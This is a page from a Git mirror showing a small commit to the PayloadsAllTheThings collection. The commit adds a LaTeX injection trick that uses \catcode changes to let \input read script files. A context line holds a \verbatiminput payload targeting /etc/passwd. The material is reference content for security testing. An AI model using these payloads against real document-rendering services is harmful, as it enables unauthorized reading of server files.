mirror of
https://github.com/weyne85/PayloadsAllTheThings.git
synced 2025-10-29 16:57:02 +00:00
Merge pull request #481 from bodik/add-latex-controllchars
LaTeX Injection catcode
This commit is contained in:
commit
6a193730be
@ -38,6 +38,18 @@ Read text file, **without** interpreting the content, it will only paste raw fil
|
|||||||
\verbatiminput{/etc/passwd}
|
\verbatiminput{/etc/passwd}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
If injection point is past document header (`\usepackage` cannot be used), some control
|
||||||
|
characters can be deactivated in order to use `\input` on file containing `$`, `#`,
|
||||||
|
`_`, `&`, null bytes, ... (eg. perl scripts).
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\catcode `\$=12
|
||||||
|
\catcode `\#=12
|
||||||
|
\catcode `\_=12
|
||||||
|
\catcode `\&=12
|
||||||
|
\input{path_to_script.pl}
|
||||||
|
```
|
||||||
|
|
||||||
## Write file
|
## Write file
|
||||||
|
|
||||||
Write single lined file:
|
Write single lined file:
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user